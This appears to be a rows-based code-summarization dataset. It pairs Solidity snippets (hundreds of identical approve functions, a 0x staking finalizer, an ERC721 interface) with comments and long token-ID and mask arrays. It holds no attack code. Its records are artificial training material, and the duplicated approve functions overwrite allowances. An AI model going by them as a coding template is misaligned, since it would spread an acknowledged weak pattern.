function approve_859(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_860(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_861(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_862(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_863(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_864(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_865(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_866(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_867(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_868(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_869(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_870(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_871(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_872(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_873(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_874(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_875(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_876(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_877(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_878(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_879(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_880(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_881(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_882(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_883(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_884(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_885(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_886(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_887(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_888(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_889(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_890(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_891(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_892(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_893(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_894(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_895(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_896(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_897(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_898(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_899(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_900(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_901(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
}
| TODO: should increase instead | function approve_202(address spender, uint value) public returns (bool ok) {
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
| 6,453,915 | [
1,
6241,
30,
1410,
10929,
3560,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
6617,
537,
67,
18212,
12,
2867,
17571,
264,
16,
2254,
460,
13,
1071,
1135,
261,
6430,
1529,
13,
288,
203,
565,
389,
12908,
4524,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
460,
31,
203,
565,
3626,
1716,
685,
1125,
12,
1234,
18,
15330,
16,
17571,
264,
16,
460,
11272,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.10;
pragma experimental ABIEncoderV2;
import "ROOT/0x/utils/contracts/src/LibRichErrors.sol";
import "ROOT/0x/utils/contracts/src/LibSafeMath.sol";
import "ROOT/0x/staking/contracts/src/libs/LibCobbDouglas.sol";
import "ROOT/0x/staking/contracts/src/libs/LibStakingRichErrors.sol";
import "ROOT/0x/staking/contracts/src/interfaces/IStructs.sol";
import "ROOT/0x/staking/contracts/src/staking_pools/MixinStakingPoolRewards.sol";
contract MixinFinalizer is
MixinStakingPoolRewards
{
using LibSafeMath for uint256;
/// @dev Begins a new epoch, preparing the prior one for finalization.
/// Throws if not enough time has passed between epochs or if the
/// previous epoch was not fully finalized.
/// @return numPoolsToFinalize The number of unfinalized pools.
function endEpoch()
external
returns (uint256)
{
uint256 currentEpoch_ = currentEpoch;
uint256 prevEpoch = currentEpoch_.safeSub(1);
// Make sure the previous epoch has been fully finalized.
uint256 numPoolsToFinalizeFromPrevEpoch = aggregatedStatsByEpoch[prevEpoch].numPoolsToFinalize;
if (numPoolsToFinalizeFromPrevEpoch != 0) {
revert();
}
// Convert all ETH to WETH; the WETH balance of this contract is the total rewards.
_wrapEth();
// Load aggregated stats for the epoch we're ending.
aggregatedStatsByEpoch[currentEpoch_].rewardsAvailable = _getAvailableWethBalance();
IStructs.AggregatedStats memory aggregatedStats = aggregatedStatsByEpoch[currentEpoch_];
// Emit an event.
emit EpochEnded(
currentEpoch_,
aggregatedStats.numPoolsToFinalize,
aggregatedStats.rewardsAvailable,
aggregatedStats.totalFeesCollected,
aggregatedStats.totalWeightedStake
);
// Advance the epoch. This will revert if not enough time has passed.
_goToNextEpoch();
// If there are no pools to finalize then the epoch is finalized.
if (aggregatedStats.numPoolsToFinalize == 0) {
emit EpochFinalized(currentEpoch_, 0, aggregatedStats.rewardsAvailable);
}
return aggregatedStats.numPoolsToFinalize;
}
/// @dev Instantly finalizes a single pool that earned rewards in the previous
/// epoch, crediting it rewards for members and withdrawing operator's
/// rewards as WETH. This can be called by internal functions that need
/// to finalize a pool immediately. Does nothing if the pool is already
/// finalized or did not earn rewards in the previous epoch.
/// @param poolId The pool ID to finalize.
function finalizePool(bytes32 poolId)
external
{
// Compute relevant epochs
uint256 currentEpoch_ = currentEpoch;
uint256 prevEpoch = currentEpoch_.safeSub(1);
// Load the aggregated stats into memory; noop if no pools to finalize.
IStructs.AggregatedStats memory aggregatedStats = aggregatedStatsByEpoch[prevEpoch];
if (aggregatedStats.numPoolsToFinalize == 0) {
return;
}
// Noop if the pool did not earn rewards or already finalized (has no fees).
IStructs.PoolStats memory poolStats = poolStatsByEpoch[poolId][prevEpoch];
if (poolStats.feesCollected == 0) {
return;
}
// Clear the pool stats so we don't finalize it again, and to recoup
// some gas.
delete poolStatsByEpoch[poolId][prevEpoch];
// Compute the rewards.
uint256 rewards = _getUnfinalizedPoolRewardsFromPoolStats(poolStats, aggregatedStats);
// Pay the operator and update rewards for the pool.
// Note that we credit at the CURRENT epoch even though these rewards
// were earned in the previous epoch.
(uint256 operatorReward, uint256 membersReward) = _syncPoolRewards(
poolId,
rewards,
poolStats.membersStake
);
// Emit an event.
emit RewardsPaid(
currentEpoch_,
poolId,
operatorReward,
membersReward
);
uint256 totalReward = operatorReward.safeAdd(membersReward);
// Increase `totalRewardsFinalized`.
aggregatedStatsByEpoch[prevEpoch].totalRewardsFinalized =
aggregatedStats.totalRewardsFinalized =
aggregatedStats.totalRewardsFinalized.safeAdd(totalReward);
// Decrease the number of unfinalized pools left.
aggregatedStatsByEpoch[prevEpoch].numPoolsToFinalize =
aggregatedStats.numPoolsToFinalize =
aggregatedStats.numPoolsToFinalize.safeSub(1);
// If there are no more unfinalized pools remaining, the epoch is
// finalized.
if (aggregatedStats.numPoolsToFinalize == 0) {
emit EpochFinalized(
prevEpoch,
aggregatedStats.totalRewardsFinalized,
aggregatedStats.rewardsAvailable.safeSub(aggregatedStats.totalRewardsFinalized)
);
}
}
/// @dev Computes the reward owed to a pool during finalization.
/// Does nothing if the pool is already finalized.
/// @param poolId The pool's ID.
/// @return totalReward The total reward owed to a pool.
/// @return membersStake The total stake for all non-operator members in
/// this pool.
function _getUnfinalizedPoolRewards(bytes32 poolId)
internal
view
returns (
uint256 reward,
uint256 membersStake
)
{
uint256 prevEpoch = currentEpoch.safeSub(1);
IStructs.PoolStats memory poolStats = poolStatsByEpoch[poolId][prevEpoch];
reward = _getUnfinalizedPoolRewardsFromPoolStats(poolStats, aggregatedStatsByEpoch[prevEpoch]);
membersStake = poolStats.membersStake;
}
/// @dev Converts the entire ETH balance of this contract into WETH.
function _wrapEth()
internal
{
uint256 ethBalance = address(this).balance;
if (ethBalance != 0) {
getWethContract().deposit.value(ethBalance)();
}
}
/// @dev Returns the WETH balance of this contract, minus
/// any WETH that has already been reserved for rewards.
function _getAvailableWethBalance()
internal
view
returns (uint256 wethBalance)
{
wethBalance = getWethContract().balanceOf(address(this))
.safeSub(wethReservedForPoolRewards);
return wethBalance;
}
/// @dev Asserts that a pool has been finalized last epoch.
/// @param poolId The id of the pool that should have been finalized.
function _assertPoolFinalizedLastEpoch(bytes32 poolId)
internal
view
{
uint256 prevEpoch = currentEpoch.safeSub(1);
IStructs.PoolStats memory poolStats = poolStatsByEpoch[poolId][prevEpoch];
// A pool that has any fees remaining has not been finalized
if (poolStats.feesCollected != 0) {
revert();
}
}
/// @dev Computes the reward owed to a pool during finalization.
/// @param poolStats Stats for a specific pool.
/// @param aggregatedStats Stats aggregated across all pools.
/// @return rewards Unfinalized rewards for the input pool.
function _getUnfinalizedPoolRewardsFromPoolStats(
IStructs.PoolStats memory poolStats,
IStructs.AggregatedStats memory aggregatedStats
)
private
view
returns (uint256 rewards)
{
// There can't be any rewards if the pool did not collect any fees.
if (poolStats.feesCollected == 0) {
return rewards;
}
// Use the cobb-douglas function to compute the total reward.
rewards = LibCobbDouglas.cobbDouglas(
aggregatedStats.rewardsAvailable,
poolStats.feesCollected,
aggregatedStats.totalFeesCollected,
poolStats.weightedStake,
aggregatedStats.totalWeightedStake,
cobbDouglasAlphaNumerator,
cobbDouglasAlphaDenominator
);
// Clip the reward to always be under
// `rewardsAvailable - totalRewardsPaid`,
// in case cobb-douglas overflows, which should be unlikely.
uint256 rewardsRemaining = aggregatedStats.rewardsAvailable.safeSub(aggregatedStats.totalRewardsFinalized);
if (rewardsRemaining < rewards) {
rewards = rewardsRemaining;
}
}
}
| Clear the pool stats so we don't finalize it again, and to recoup some gas. | delete poolStatsByEpoch[poolId][prevEpoch];
| 1,014,027 | [
1,
9094,
326,
2845,
3177,
1427,
732,
2727,
1404,
12409,
518,
3382,
16,
471,
358,
1950,
83,
416,
2690,
16189,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1430,
2845,
4195,
858,
14638,
63,
6011,
548,
6362,
10001,
14638,
15533,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x5199daE8A7Fc33B7f25C24Ff8930C6432703835f/sources/browser/GeoPreSale.sol | Before this, swapEtherForGeo cannot be called
| uint public startSaleTimestamp; | 8,472,167 | [
1,
4649,
333,
16,
7720,
41,
1136,
1290,
12447,
2780,
506,
2566,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
1071,
787,
30746,
4921,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-09-09
*/
pragma solidity >=0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public{
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
